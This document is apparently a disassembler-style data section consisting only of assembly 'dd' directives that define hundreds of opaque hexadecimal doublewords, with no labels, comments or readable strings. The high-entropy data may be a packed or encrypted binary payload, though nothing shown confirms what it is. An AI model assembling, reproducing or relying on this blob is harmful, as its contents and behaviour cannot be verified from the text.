dd 38D66F0Eh, 0DAF7C1D9h, 0EF457ED9h, 85A777ACh, 156E7752h
dd 7715FDC3h, 8BBF1A8Dh, 2BBC627h, 0DB1DD8CBh, 0BAB7A103h
dd 6F07ED45h, 3B0E03F7h, 1F89A5F1h, 2766AC83h, 2659E461h
dd 931F63Bh, 0BE134937h, 39F08F8Fh, 351B56F6h, 558613FFh
dd 454EE8h, 96120084h, 0DDF57089h, 0BC221528h, 0DB2D04BCh
dd 16E1BDCFh, 0DD1FB95Ah, 0C371195Dh, 0A85E38Ah, 0A3169B0Ch
dd 59B37991h, 0A8EAEDCFh, 0B4EC04AAh, 3061633Ah, 2025E79Ch
dd 47F2FD16h, 0BBFE04E9h, 0E7F5C134h, 1733523Bh, 3747D29h
dd 0BBE10175h, 16D6C108h, 0F3F0319h, 0FF5E5BF3h, 0CC25Fh
dd 0F08B5156h, 0FFC983FCh, 2F46068Ah, 321474FCh, 8B0C8FFh
dd 673E9D1h, 20F1FF81h, 0FEEDB883h, 0F2FF75C8h, 0C18BE5EBh
dd 8C35E59h, 0F01087A8h, 0F2C11283h, 392B3F7h, 0C8504058h
dd 5AE33B79h, 0A073ED68h, 341B9EEDh, 0C3B5EC04h, 0EA641DB9h
dd 0A1B8A61Bh, 57BC4C85h, 622B0C8Ch, 852A1E6Fh, 4D090E33h
dd 774C7932h, 67F02723h, 0E066CCC9h, 0F45033DBh, 7D8894ECh
dd 0D5CC1C03h, 86051C8Ch, 9E0F03CFh, 0DF505E36h, 0C1EEB804h
dd 0F8B360F6h, 0F4C1A70Fh, 96A716Eh, 6A12ED77h, 0E609AD03h
dd 933B03B1h, 6D08DBAAh, 51B0F103h, 0D86E472Eh, 0FED86812h
dd 62D0767Fh, 430E101Bh, 0CCB8D4C1h, 138E734Ch, 6E439318h
dd 7F037EFBh, 36B7B001h, 0E32C7812h, 0E1EE9267h, 0EC21504Ah
dd 0F57649ABh, 0C10F5000h, 0CE0800F1h, 7052D47Fh, 1D87103h
dd 4FD93B3Ah, 4FA37BD6h, 4DB41B11h, 60985CDFh, 5A9FD3D5h
dd 9C0809DDh, 1974036Eh, 0FEC20210h, 4B244F1Ch, 0F6094EDFh
dd 0C6F612B7h, 2DBCBA35h, 0D403D8CEh, 49B090CBh, 517ADFB6h
dd 42A41E77h, 0FF7AF480h, 0C5D47500h, 303BE0Fh, 0C6DC2A34h
dd 0F6704A26h, 3AAFCF1Ah, 3C45FE0Fh, 31308D7h, 0B105604Bh
dd 45842644h, 416898CAh, 43EBB722h, 42F0F0D6h, 0CC0C65FFh
dd 0EF389A82h, 0DF14CDCFh, 0F6C1C6ECh, 8DAFEB11h, 0F0139710h
dd 0C17DB908h, 219CF4C1h, 0D8E460F3h, 0A9CF0D21h, 7DBDE98Dh
dd 0FD305A06h, 0F1C1205Ch, 6401D597h, 91CED9FCh, 250B7732h
dd 5E2C65B6h, 49650138h, 87F48434h, 0DA771836h, 0ABB5923h
dd 0D6D18BCDh, 1D3D9090h, 1C459F5Ah, 0F1B3C1C4h, 198F8410h
dd 0AADFDF35h, 758BA0h, 0D2760318h, 0FE48F0E1h, 12D7F62Fh
dd 93A33628h, 992B84Dh, 3FC2133h, 80DDF6D4h, 815C0D3Eh
dd 67F05DAFh, 89869386h, 0DB37030Fh, 0B8780B3Ch, 9D0B6D3Ch
dd 0EE56BF4Ch, 370D70Fh, 402954Eh, 8188FB32h, 8D771296h
dd 1DD74A0h, 377991Bh, 7709E8AAh, 72656B1Fh, 6C656EFBh
dd 0DFDC3233h, 0BB4835A2h, 612DDEECh, 44B571F6h, 7ED15C36h
dd 0D6FF1B9Dh, 2E101532h, 0C6539FCCh, 9E116E0Eh, 9600F7C1h
dd 0E662EB4Ch, 1A441B0Dh, 0F5B5AF7h, 43039A5Bh, 84E0B18Fh
dd 0F630479Ch, 0FF082996h, 815DA356h, 6062DC5h, 240D0C59h
dd 36D4C890h, 0C4360D5Fh, 86C7D72h, 908C35CDh, 89C9F8FFh
dd 630118BDh, 374F8F1h, 58BEBBA3h, 76BAD2C4h, 0E27D2EE1h
dd 4BEF9BDh, 971AF4FAh, 22F66BFBh, 0C346DF73h, 0B7D875D8h
dd 0FB266986h, 2759EB1Fh, 278EA37Ah, 3C0208FEh, 0CB2DFB55h
dd 4B80AC54h, 0CCC3B360h, 896459FFh, 8DE921h, 717D1800h
dd 9C9F87CEh, 2D8F360h, 0B8FAD90Dh, 665ADEE2h, 38D81573h
dd 611B6C67h, 583E92ADh, 2EE40D01h, 9E9DCA9Dh, 0CEADF412h
dd 3DFFD74Bh, 9BEBC92Bh, 26774802h, 90FEDFB0h, 0BF89180Ch
dd 7FAC3C14h, 31FF640Ah, 0FF47E9E0h, 27A49AC1h, 0CBFA0EA7h
dd 8F958B6h, 0F8FECE4Eh, 7F936028h, 0EF366A09h, 0BECB1A3Dh
dd 0C76CE08h, 0FB10FDAh, 10C9B1BEh, 0E65915C2h, 0F4145E76h
dd 2DF2B52Bh, 0E8F7105h, 0F7BB586Ah, 0B66C49DAh, 3D8DFB43h
dd 7F094731h, 490172F9h, 1F4BDF33h, 8A127E36h, 0B60EEE16h
dd 28EF02E8h, 3258A346h, 6816D3B7h, 9AF2FB81h, 8CF9580h
dd 0D020477h, 1688C07Fh, 0AE8C1F2h, 0F346F2FEh, 0F34BC023h
dd 0C9C1A925h, 0F304BDF2h, 9D6D83Bh, 27F71CC2h, 7F3DBC75h
dd 6B8E0764h, 0FF66646Ah, 3A18D5FCh, 6E617160h, 51A990FFh
dd 590FE868h, 9E12FF61h, 0E379EE22h, 4CDB5D67h, 0FF641B63h
dd 229544h, 57187166h, 61093AFFh, 0E7C55A4h, 136BB7D6h
dd 33F46019h, 2F781146h, 647C23E1h, 0C83F0EBFh, 0BAF8FFD7h
dd 75667158h, 67B74A62h, 0FF6E6A2Fh, 609EA0F5h, 0DE447A51h
dd 8EA0E9FFh, 6A7A2790h, 9560FF79h, 0ED99EABCh, 1EFF9A9Bh
dd 72671B61h, 6FBB6891h, 916490ADh, 0C8267AFFh, 44976289h
dd 6514DB33h, 90FF3900h, 0D4B95971h, 0B750A70Dh, 3F207F62h
dd 0EB61ECFBh, 7E3FB163h, 634EE475h, 0B95BDF62h, 0FF02C097h
dd 0E919F060h, 4EE7C31Bh, 28AD3FBh, 867F0CA0h, 6FF5DB31h
dd 6009FF66h, 697181F1h, 23FF2767h, 67F361F6h, 0F6691B75h
dd 0DD61DC64h, 69DCFE7Fh, 5AEC67EFh, 3B7A87EEh, 607FDF15h
dd 7772F5FBh, 15BD620Bh, 98BED8EDh, 44B7F66Fh, 0EF836916h
dd 85D79C68h, 40FD43A9h, 9768716Eh, 979FBF4Ah, 55587142h
dd 674CAFEDh, 6464F027h, 76BF2EF5h, 0C37CDAE3h, 647AD833h
dd 950EFE7Fh, 7A680220h, 151A43EDh, 604ED7BFh, 0D8376A11h
dd 0B7971E44h, 0EC78420Dh, 8F667D23h, 0FAD3567Fh, 0FB495EB8h
dd 51137560h, 3B7BC19Fh, 0FE5F5C86h, 80C2EB27h, 0BF53E06Eh
dd 0DE15441Fh, 10B62B8h, 1467FE11h, 0E38D6689h, 0AB8FFF92h
dd 0F75E18F3h, 627DA760h, 26E7FB7Fh, 0B82F335Ch, 4766549Bh
dd 0A1FB486Fh, 517F2EC2h, 0A7BEDE78h, 4F648471h, 0EDC0195Bh
dd 7E71183Eh, 0FB801685h, 0FAE5FB55h, 9CF63F12h, 78DB6FF5h
dd 38DB6A0Fh, 0FFE04111h, 0B6617943h, 61E2A63Ah, 3D63DFECh
dd 0EBF5ED6Fh, 0E178490Bh, 0B149862Bh, 299CB57Fh, 0C2647027h
dd 0FDC16D23h, 50586199h, 974FFD8Ah, 3BBF00FBh, 4C547991h
dd 6F8CBF7Fh, 22DBD5E2h, 0D8581D40h, 0FFFFD090h, 0CEF72Eh
dd 0E565C062h, 0FC7B5E17h, 0C8970666h, 0D72F680Ah, 0FB79045Bh
dd 0E9FDD319h, 98FE1F0Ch, 6A40AEF5h, 2BEFFF13h, 0E53F0C46h
dd 0B7A2D579h, 645A1B7Ch, 62889997h, 87F3C8FEh, 84376259h
dd 4910BF1Bh, 809562FFh, 0E6956A71h, 0E76FB727h, 0EAE1DF99h
dd 0E9378E08h, 427E025Bh, 7B97E260h, 0E3A680DFh, 69F0899Bh
dd 0BBB7CBC5h, 3FF1D37Fh, 787BDC1Bh, 7F4C6A08h, 3AF5114Fh
dd 18669718h, 1DD6FA3h, 0DAFCFE92h, 2426F0FCh, 0FE9F6FA4h
dd 11FB50D5h, 1C4A3768h, 0F7E1FE87h, 3762409Eh, 8461301h
dd 0D54FFD7Fh, 8D66B89Ah, 43BF1BBFh, 60596280h, 3B1BFF7Eh
dd 0DEC86468h, 78ED3BCAh, 0FE5F7CBBh, 98713915h, 0FE8CB1BBh
dd 0EF7171Fh, 6EA337DCh, 57757F76h, 0D5668FC7h, 0DF4220C2h
dd 0EBE25A3Fh, 68FF0EC0h, 6D23ED0h, 8D109878h, 7BDBFEECh
dd 0FF45BF72h, 0FD69FC2Ah, 61EA4E67h, 0AD67E1E1h, 442B7F07h
dd 44336609h, 0F59EE68Eh, 9CB99E45h, 0CA22472Eh, 44130FDDh
dd 441B17BBh, 7F0B193Fh, 6951688Eh, 7BB767C2h, 0DDA0757Fh
dd 7977B5Ch, 88CA13F0h, 709DBE6Eh, 357E6437h, 0BD0FBFFEh
dd 604A28F5h, 1E3D10FFh, 34EFC8F5h, 646DD8BBh, 7902CF7Fh
dd 984266F8h, 0FF4F579Bh, 6F4DF5F5h, 0ED79F6EAh, 0E37F857Bh
dd 7BE08488h, 0C1DAB2F5h
dd 7681E7A9h, 85EF3775h, 6994FD77h, 19FF6797h, 661187DFh
dd 0B9DBA55h, 0BF1A171Fh, 0B740E516h, 8C555A9Fh, 0B063AFEFh
dd 68827F97h, 0ABE6659h, 956651FBh, 760349BDh, 0F83DDCF0h
dd 99EC9AC5h, 0DFD26C58h, 913D75FFh, 6EF3E469h, 0F8A664AFh
dd 7E7C3555h, 0FED78317h, 2F6FF714h, 0D66D5439h, 0F100B665h
dd 0BBE67AAEh, 8F06AB3Fh, 6F9BA11Ch, 19E01E8Fh, 701BE7D2h
dd 713C61FFh, 641C2B34h, 0C2F0FF18h, 0C7BD80F7h, 72D380EBh
dd 96325A37h, 0E8DB3F68h, 0FDDF33FFh, 61D48A37h, 0FB63D3E1h
dd 860346FFh, 4EBEF6FFh, 0BA2BA328h, 811731BFh, 6F184947h
dd 77FB1BEDh, 0A5A77EC6h, 53BF91DBh, 6AC28F18h, 0B03EC201h
dd 0F1FF5BC2h, 0D0F7EE66h, 3DBB336Fh, 767D02B7h, 0ED4F8E75h
dd 0F19F0615h, 73A7E815h, 0DB1963BEh, 7F31F6F4h, 8EF757E1h
dd 0FF757DBFh, 3568641Bh, 6A850D5Ch, 6BE39E2Fh, 6279F532h
dd 40BD8D55h, 8D1F5ED3h, 3F2C26AFh, 9575D880h, 17430FC7h
dd 0C9215F30h, 0FA5B9D74h, 91A36697h, 0DFEFC764h, 5A18E1F7h
dd 0FB78C778h, 5E5FF863h, 7EB72E55h, 0D7E8CF7Eh, 2F2E67B8h
dd 371704B3h, 5BDB6375h, 747A3B9Eh, 57BB447Fh, 5762BD0Ah
dd 1518B65Eh, 376FDFE5h, 0EC691142h, 0FF857EF0h, 55A51067h
dd 736AEE76h, 0BF18675Dh, 0F07B7CC6h, 682B6A88h, 8FFFF4CFh
dd 0A815923Fh, 0A1F8A85h, 0F150AD83h, 53201899h, 0ED1F7F8Ch
dd 0F16AA5BFh, 908F7AFBh, 388F6263h, 3A3F1625h, 0EF47597Ah
dd 0C0E9FB76h, 0A13F781Eh, 157B3FA8h, 0F21F4E7Ch, 18FE9747h
dd 639161E8h, 187FDF0Ch, 6F90927Fh, 1C576709h, 0E15C5F1Fh
dd 5D48AAD5h, 0B6BF17ABh, 21EFBA17h, 80AE7AFEh, 0B27FC66Ah
dd 170AFF49h, 0E69AB8FEh, 67FDE599h, 0E3EB7537h, 9F0FBB37h
dd 91A11F64h, 8F4661DFh, 0B0DB841Ch, 0E23EBF5Eh, 61D0F410h
dd 2467D1FFh, 67D369D8h, 79D0FBC4h, 0FF9C7BE9h, 3FC8AEBFh
dd 0DFF00AD3h, 91277C95h, 2F82EBC6h, 9D567FA5h, 48FFFDA5h
dd 0D3791115h, 0BFE2CD5h, 6EDA6741h, 7F17E72Bh, 55E00AD6h
dd 0C866A8DFh, 3BFB30BFh, 0A31FFFFFh, 0FC8AC817h, 0F161F868h
dd 0FD2E9F63h, 0FFC6FF95h, 6F2C3521h, 646CA33Fh, 5279E0D2h
dd 6089A6FFh, 0AA524693h, 66A57FEDh, 0CEFF0839h, 697F1A25h
dd 1669BF04h, 0ED3FD68Fh, 0D25F5815h, 0DBD06C15h, 0F8071F1Ah
dd 684A88F7h, 1C076B98h, 4F687F7Fh, 0A3E982F2h, 477AB4ABh
dd 4F235A09h, 1EEC0EDh, 8633B1BAh, 0F39C3FC7h, 7E98DAEDh
dd 63E7FF78h, 0F969F8C5h, 210B0567h, 7CB3EED0h, 75FF179Bh
dd 6E480AF3h, 0E93B2F00h, 7F519152h, 55E10F92h, 3B197F8Eh
dd 0A4D8611Fh, 0FC2F08A2h, 18DEF780h, 15416E7Ah, 0ADE0D4B8h
dd 3A8C17FCh, 9791701Fh, 74EFEFC9h, 77BFEC75h, 7919154Ah
dd 32D5E3DFh, 6CB840FCh, 0DF3B7427h, 0FE6C0CD8h, 0D4BDDA1h
dd 2B04B462h, 7C40C7A9h, 5236A5DFh, 1A35A70Fh, 8F13B501h
dd 17B33Fh, 0A7B1892Ch, 0F527F7BDh, 0BEDFFA9Ah, 6825B7EBh
dd 6A79FDA7h, 0C44E3DBh, 7FC11FA1h, 5FA39875h, 6AF75164h
dd 2F5E6475h, 8FF7C8E3h, 0B03A4F82h, 2C1F6095h, 0D2BE8FFh
dd 0ED5FE017h, 0BFB26877h, 0E47C28FFh, 17C46209h, 297F8C44h
dd 0DB71CFE3h, 69762E63h, 27AFDF3Eh, 1D5C626Eh, 18C764BFh
dd 0F2788F17h, 5F7227AFh, 0E38199A1h, 3C6D0B7Ah, 0DF8CABDFh
dd 1EF7F060h, 0FFB97A58h, 2A180A55h, 55D3FF13h, 0DB7EBF25h
dd 55CC19CCh, 0B7BF364Eh, 0D57A0596h, 0B74F8C03h, 7F977F4Eh
dd 178D1BCEh, 5875EFFFh, 0CB813F0Ch, 0DC3F5A7Bh, 6BCB7081h
dd 0DFF9F59h, 60BEA0D5h, 6D1BC48Dh, 67C22F9Dh, 38EB827Fh
dd 3FCF773Bh, 80A21515h, 0C5FF9A28h, 0C4C86F17h, 9F8C3CC3h
dd 0DFA294C0h, 34A7BF58h, 0C00F2E97h, 30F7375Ch, 55FF5B7Bh
dd 0EB7F0085h, 3F5564EAh, 650AB77Ch, 4F6F0FB0h, 0F418BBB7h
dd 67F7ED61h, 15DA066Fh, 6B41F61h, 0D7F0C748h, 33BFA8F5h
dd 0CDE46119h, 7E7F1740h, 610AE1CFh, 2ADC69E0h, 294B2313h
dd 0EE6A46F6h, 0B7C16367h, 0D2754169h, 2BDEFF18h, 0E6DF9777h
dd 3F8E8D1Dh, 1F3F95FDh, 0B660DF1Fh, 0E12D1813h, 7F81BF6Bh
dd 17791264h, 0F0B7F7Bh, 0FF61AE55h, 0B7EAFE91h, 66D51ED5h
dd 0FDE2FFBCh, 9B7F7702h, 79F651A1h, 0E8CC55Eh, 63F4CDF5h
dd 8EBA81D1h, 0EF568FFh, 44FF63E7h, 0EAC89827h, 31DECE92h
dd 6F9C94BFh, 66F5CEEFh, 23D57F63h, 0E395D668h, 1607F17Dh
dd 0BB002FC3h, 6F083BC2h, 0A1FF26D7h, 7BE1785Eh, 0AE0F5C8Dh
dd 387F6378h, 0BF23023Dh, 837F17D5h, 81EFAD3Fh, 0C7EA9BFAh
dd 0A0166949h, 229FC7C7h, 37FEAD97h, 8D179A86h, 22E37F0Dh
dd 0E03F1A10h, 0A17D5048h, 9B1FFF0Bh, 84BA98D5h, 92781F60h
dd 0F3B4C8F3h, 2B1B7E6Fh, 337F06C0h, 7AFF8417h, 17AF6C31h
dd 0B163197Eh, 0A30B6F48h, 605AED38h, 0F717FF1Ah, 0BC6687Dh
dd 5FDF627Ch, 115BEA6Fh, 604CDD3Eh, 94FFCB33h, 0E9A2E1C8h
dd 0ED4A69E6h, 1760F5BAh, 6BF97EFFh, 63F26FA1h, 2C91FACCh
dd 581E164Bh, 0D95E4678h, 0B63A26EAh, 1FB76CE2h, 75FAE1F4h
dd 187D7041h, 0F41D29DFh, 6FFE172h, 461DDBB1h, 0FC6CE290h
dd 753D1575h, 602F452Dh, 0FF4A6D56h, 94EE5DF1h, 2927A4A1h
dd 0D4FF1B06h, 0FD59E271h, 6F6F6C91h, 0FD7542B7h, 0D41FBADCh
dd 0F8B56299h, 8F1FBF91h, 0A605CBE7h, 499093FFh, 0B76B246Fh
dd 0C96DFF83h, 6DB66023h, 7DFF4EB2h, 0CA4D7C45h, 0FF8D1B91h
dd 491FF5BBh, 50018A7h, 7E2108FFh, 50C0EF0h, 7B0DFA63h
dd 17913F29h, 0FF983E30h, 0F092E1E0h, 7F52816Fh, 92FF1A02h
dd 50085744h, 0D9FF4E6Eh, 0A5ACAF5Dh, 0D64CDCCDh, 0FFC5760Dh
dd 28832529h, 0FF5F7286h, 9FF7245Ch, 0C04B457Ch, 464007FFh
dd 4CB23F73h, 0B14CDB4Fh, 0C65B25C5h, 4554FF42h, 21202359h
dd 0F8FED2E4h, 3E525A01h, 7C8D6605h, 7F9E2D83h, 0A2221110h
dd 0C2FFB19Dh, 0E3ECB237h, 0FF181534h, 0C60ADC0h, 6E1333F2h
dd 989B91FEh, 8487A571h, 0EFF560Dh, 6716D544h, 0FF8E858Bh
dd 363ADA8Bh, 63B810F3h, 3F4B40FFh, 0F5FC6C8Ah, 0EBECFFFEh
dd 0A3E3C61Dh, 5AFFE6F9h, 38EA1CD5h, 0FF732872h, 0F5418C20h
dd 0A0FDF4F7h, 25347EFFh, 0D5D7D7A6h, 0B7DBFFDEh, 0C4C7FA7Dh
dd 440B56A8h, 591EFF68h, 0CBCECAA4h, 59FFAFC8h, 0CBD9B073h
dd 0FFD2A1A5h, 0BA5DBE40h, 0EABED233h, 0BEC47AFFh, 91959BADh
dd 0BFDDFF44h, 9D199C6Ch, 0AAFF696Dh, 0B6B3A89Ch, 0FF447243h
dd 0AD054C63h, 19181B11h, 0C08AF8FFh, 357A82A9h, 0FF7912A3h
dd 0B0E0AE4h, 0FF1BAC08h, 0B1170D3h, 37D0A1E5h, 0FBFF1B16h
dd 5CE27A13h, 0F14B0E86h, 0D89AF629h, 0FFFF626Ah, 0A8AD1B02h
dd 0FC985DA9h, 2B767D73h, 0B4BF8187h, 5C7FB20Eh, 464734FCh
dd 2F3B5474h, 4E2733A3h, 13EA4DFFh, 2A3A4E22h, 6652FF7Eh
dd 21274B36h, 0FAF63F52h, 761FF2ACh, 4BF73BFFh, 213E3C49h
dd 0CBAE7CFDh, 4B994020h, 1FFFE976h, 7C349B36h, 0F6C1C76Bh
dd 4C6D9F32h, 0FF64D823h, 0E434D1FFh, 8A668ED5h, 0E24DBCFFh
dd 0BF9B4E8Eh, 161DFE13h, 1EE25E63h, 0EB6DB7DBh, 0B973FFFBh
dd 0EDE3FD8Dh, 0D7FF5BE6h, 0CE2FE2D1h, 0FF8FC25Eh, 0F7E5EE2Ch
dd 23C5F3D9h, 0A607ADFFh, 0F7DBD142h, 0DCB5FFE5h, 0A8231C2Ah
dd 15FAE8F0h, 0EC80CCBCh, 0F8BFBBB5h, 0A5D1FF33h, 0E3066F8Ah
dd 0B9FFF781h, 0BDD395EFh
dd 0FEC2CBCDh, 0A6ADA484h, 0D351386h, 6BC1FFE2h, 0B0AF4BDDh
dd 42FF30AAh, 0F1F1859Ah, 0FF1997F0h, 1DF3154Dh, 61CF549h
dd 0F10219FFh, 0A272367Ah, 0FF99867Ch, 329139FFh, 969D9494h
dd 2561F8E4h, 373B035Eh, 0FF9EFA2Eh, 70C5A89h, 0A8536662h
dd 0A9A9DEE1h, 0ADC37FFFh, 20353759h, 0BC5874C4h, 8D2980F9h
dd 0A255FF2Fh, 7DBCFC0Ch, 4D432F46h, 0DFF014B8h, 482050F2h
dd 21ECFFDDh, 5D545755h, 14FFDE0Dh, 0DCBE4605h, 0FF483E15h
dd 271A3E9Fh, 137EAD95h, 0FF35FF0Bh, 0EEE5EC9Dh, 2AE9EF03h
dd 442637FFh, 66CD7FAh, 119FFF0Ch, 75A3209Bh, 6CFFD49Fh
dd 7F8F8369h, 0FF06B4FDh, 88601D8Fh, 4A04A8FCh, 4ABB1BFFh
dd 24918E95h, 1FFEFF06h, 0FD0795FAh, 0AFE5C51Ah, 0D6FFF3A3h
dd 2B87D0BDh, 0FF2B2E25h, 133658CBh, 3F9E5A8h, 7D0100FFh
dd 0D2E13870h, 8DEFFB2h, 0C9324ED0h, 0C1FFEED1h, 0CAA6D3C0h
dd 0FF57EEBEh, 17D54ACDh, 0A3D6D2FCh, 53C8A0FDh, 0BFA9987Bh
dd 0CF99EBFFh, 0FBFF95A1h, 963B923Ah, 0FF6BC798h, 496B6E65h
dd 0B053161Ah, 13CDF4FDh, 6FE04AEFh, 0CF1B9084h, 0EFA34BFFh
dd 7BAD7701h, 1407FF35h, 0A190E1Ch, 91D840A5h, 4CFFF09h
dd 9978FF84h, 67E9D370h, 0D3FF6394h, 5DDF131Bh, 126D7273h
dd 0FD78FC98h, 6E2A2B6Bh, 3119FC61h, 2F939FFFh, 2013E046h
dd 71855F34h, 0FF4A4F42h, 4C6FA2FEh, 0C257450Eh, 58D350FFh
dd 3F2D492Eh, 0EA35FF3Ch, 3E1DFCD6h, 15FFBAA6h, 4D76303Fh
dd 0F8B23233h, 53E0B3E8h, 0E41EB72Eh, 0B6E98130h, 32FE8C46h
dd 36981099h, 8FFF118Ch, 66FFFF59h, 0B53F8F89h, 0EA1B8FE5h
dd 0DF98307Ch, 81B78FE8h, 8D9DFF82h, 0F9F8FBF1h, 20ED6A0Bh
dd 0F8FFE2C9h, 298665D0h, 458B5F4Eh, 0B19D152Ch, 0E69FFF17h
dd 44FFDD45h, 0C3A9A2E5h, 0FFB8D78Ah, 0CCCFC2F6h, 0EC2F7DE9h
dd 5CDBCDFFh, 0CECFD72Dh, 0D2A6FFC8h, 2DAFBCBFh, 0BD979C5Fh
dd 0FF1DD028h, 9CBAEDF7h, 7FFFFF6Ch, 0B3560D1Bh, 0FFBFB399h
dd 0B2F787C0h, 7015888Ch, 53E3C752h, 0E87F0D98h, 0BB33D733h
dd 7F09E1E7h, 1F7FFF25h, 819684ECh, 58FDE092h, 0ECF45F09h
dd 0FF7E757Ch, 46BD690Ch, 0E160FC7Bh, 0E1CB68FFh, 0DBABECAFh
dd 6A75FF79h, 725E2B68h, 2AFFAA84h, 569F3B86h, 0FF7E4E5Ah
dd 0F5885E32h, 0C04D5324h, 76C572FFh, 0D449D5A3h, 0AFE6D241h
dd 0D5CA0C1h, 90128006h, 2812BB1Dh, 2D52020Ch, 75610BC1h
dd 0F9169ADFh, 0C829E8DBh, 0E865E000h, 0C05C9793h, 61B1BF6h
dd 0E87E1DFFh, 0C55308E2h, 0F0FC6E5h, 9E10FE2Fh, 0FC123170h
dd 3776AE16h, 0E21E1DA4h, 0DFAE601Fh, 24CED896h, 0C217FF28h
dd 0A6552428h, 3CFF0B7Ah, 354A3149h, 0FF35DDC3h, 384C7FE7h
dd 45E63C4Bh, 433A43FFh, 8B47AFF4h, 4BA3FF67h, 4E306B87h
dd 4FFF4E33h, 9951B906h, 0FF55BD75h, 5AB27995h, 0F25E5D5Ch
dd 0F48FED8Dh, 3E668F67h, 35940228h, 0FF85350Bh, 71706F6Fh
dd 5110FEEFh, 0BF9C72C1h, 947BD71Eh, 7FFF7E7Ch, 0C70D5680h
dd 0FF0B79A0h, 7D488CFDh, 8E8C648Bh, 0CBFF3446h, 69B0D71Dh
dd 84F8957Dh, 9C6A5B5Dh, 0A09FA4DFh, 2CFF2DA1h, 0D15A81E0h
dd 4BABDEABh, 4FFAFF1h, 0A73310Fh, 0FFB5B4B3h, 52B84677h
dd 7383D2B9h, 0C0BE56FFh, 4B6CC2C1h, 3BE2FF81h, 0CBCAC820h
dd 43FAE4CCh, 39D5F4ABh, 3D689E5Fh, 56FF99D5h, 0DDDCDA32h
dd 0FF6D65DEh, 25E7C685h, 0AA6CE616h, 0EAE6E1FFh, 0EE99EE9Ah
dd 0F319FF0Dh, 0D8F5F4F3h, 0DDFF9C7Ah, 0FDFD13FEh, 0FF90FFFEh
dd 0F827468Eh, 7407F1C4h, 0A770AFFh, 0B40CE6F6h, 13F9F493h
dd 0D4BE1413h, 0E63D5C98h, 0AC9AFFC7h, 200746FFh, 0A1D9C2A5h
dd 0C022FF6Bh, 0EE94222Eh, 0D9FF31C5h, 0DE353B31h, 0FF393836h
dd 59B16F3Ah, 40A83B1Ah, 444342FFh, 6C03C9F1h, 49A1FFB5h
dd 4EA6E93Eh, 855B5150h, 7211FFDBh, 35D32ABh, 0FF6F5DB3h
dd 0FFEE8E5Fh, 0A4984726h, 6B836794h, 8773F0F5h, 9BD4B56Fh
dd 9F2FC4BFh, 0FF77FA76h, 0B6789297h, 574545Ch, 83FA83FFh
dd 86764556h, 0F88BF0F7h, 28BF8E8Bh, 937B8C81h, 7CE7FF9Dh
dd 98979694h, 0DFFB1528h, 9C7561B8h, 48B87F69h, 940FAAA6h
dd 15A68FFh, 0AEADAD43h, 3EDFFFAFh, 5E4897F6h, 0C1B7B8B4h
dd 0E23026FFh, 5FBC55E0h, 0C52B9F31h, 0C7C6FFC5h, 0EFAE44F4h
dd 0CDF6B7C8h, 0FF36D1B4h, 3E2110FFh, 0DAD9D8D6h, 0B951F7FFh
dd 0AB69DBFAh, 0E708FF12h, 34FB903h, 9BFC8DEAh, 0E0EC0611h
dd 78048F5Ch, 6DDC8BCh, 5F8C1EE8h, 5EE00AFh, 5B84FF5Bh
dd 0D0C0AE2h, 9FFF850Eh, 0FCEF3655h, 0FF171614h, 7F972118h
dd 55971938h, 7FB8D883h, 6F252423h, 0DFF6CA8h, 2D2DC3D6h
dd 0FF1E2F2Eh, 301756BCh, 8D9E35DEh, 3AD263FFh, 0B23E3D3Ch
dd 0BE25A9CDh, 46B1857Fh, 0F5E24BACh, 4E367EB2h, 0B974ECBFh
dd 0FF545353h, 1CD8F455h, 0ADDBA67Dh, 15D76DF5h, 0AE216F94h
dd 95FFA444h, 6A688067h, 0FFF06C6Bh, 8D542BE1h, 7574729Ah
dd 0F73476FDh, 0BF875E3Dh, 6B5FB361h, 0FBFF8D83h, 8786846Ch
dd 0FF053888h, 4F71A8CFh, 51CE907Dh, 0E48B2B16h, 418A9947h
dd 0BB8C5067h, 86E46F7h, 0D615CEAEh, 31161612h, 59CFF45Fh
dd 0F0E9C58h, 5BF0357Eh, 84938C4h, 1908D034h, 0F20B676h
dd 0F64C3046h, 0CBE2FF01h, 34A7F626h, 0E2311872h, 0FDC5AF19h
dd 538BEE74h, 0B86DA232h, 3406530Fh, 0C35059F7h, 24394509h
dd 0EED3E213h, 87443C91h, 0FDF7C0h, 1429D21Bh, 38060624h
dd 27AEEC0Fh, 0D41849B1h, 0DB6100F3h, 4DA1F78Ah, 0E5D0425Fh
dd 53C8047Ch, 1E8CEC95h, 901D621Eh, 8AB1EC55h, 0FF64F61Fh
dd 268B1532h, 0C9CD261Ah, 62DF9209h, 38849013h, 14FDACC3h
dd 8D22796Fh, 1392B10Ch, 0DD500EB3h, 0A217D38Ch, 60341163h
dd 8189DC62h, 0B87CBB2Bh, 2F0F06EBh, 0C7C3F18Eh, 0A68E126Eh
dd 812A20C6h, 0E3B11E07h, 271183D6h, 0F641F1C1h, 37110A38h
dd 64FB204Ch, 245A028Fh, 7D5C927Bh, 49331812h, 3D32B365h
dd 154E0AEDh, 97D7C550h, 0BD030573h, 1136417h, 6D010002h
dd 5FDDA97h, 28C82B0Eh, 68566A7Fh, 0FAF990D0h, 0FF5657EFh
dd 8404D3h, 51FE87Eh, 0F42B0000h, 0E8BD0Ah, 0B58F00C3h
dd 151B04D4h, 0E90B7611h, 7FD8A966h, 40303E9h, 88FD2005h
dd 0E3F62D4Ch, 0F332F0Dh, 56FF9EFFh, 14FEE837h, 0FFF138DAh
dd 1D1C1B1Bh, 564905Dh, 0D3E2DEFFh, 2826CE25h, 272AD629h
dd 2B0AFF15h, 823D33DBh, 1271FEBFh, 3A38D03Bh, 0B1A2DA3Bh
dd 0A9BDB937h, 0F14C40FFh, 0CD4AAC8Dh, 4FA0FF6Fh, 2871EA7Fh
dd 52FF2B52h, 5757BD83h, 0A3845958h, 0A27F70D4h, 42AC62B4h
dd 0AF67AB88h, 3F3F7F7Dh, 6D381B39h, 2C6F6EFFh, 705716FCh
dd 4C75FF9Eh, 8FBB870Ch, 7DFF967Ch, 0FAACD7ACh, 0D584FD80h
dd 0F2BF46A9h, 69838961h, 6FC7FEA3h, 957B6D6Eh, 0BF33B795h
dd 0BFDEFF16h, 529C7660h, 8542D180h, 4E5FA5FAh, 0AA3316A6h
dd 8AC9C697h, 0B35BABFFh, 0B75F937Fh, 5397FF7Bh, 540EB5BBh
dd 8406BEBCh, 874D3FFFh, 65539E0h, 0BFC93AC0h, 0CD26CCCEh
dd 0E5FFEACCh, 0D5D4D23Ah, 0FF5526D6h, 37DFFEBDh, 19F7F0DEh
dd 0E3E309FFh, 689EE5E4h, 16CDD6ACh, 6421F11Ah, 0F2B46F07h
